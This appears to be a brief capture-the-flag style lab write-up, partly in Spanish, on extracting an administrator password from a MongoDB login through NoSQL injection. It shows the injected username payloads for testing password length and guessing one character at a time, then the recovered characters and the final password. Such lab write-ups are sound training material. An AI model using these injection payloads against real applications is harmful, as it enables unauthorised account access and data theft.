02 Lab: Exploiting NoSQL injection to extract data

Objetivo

The login functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection using MongoDB operators.

To solve the lab, log into the application as the administrator user.

You can log in to your own account using the following credentials: wiener:peter.

Solución

Cambiamos el parametro de usuario a administrator' && this.password.length < 30 || 'a'=='b,

administrator' && this.password[$0$]=='$a$

image.png

La contraseña es de 8 caracteres

image.png

5	c
2	q
3	q
7	d
1	f
6	z
0	n
4	v

User: administrator Password:nfqqvczd

image.png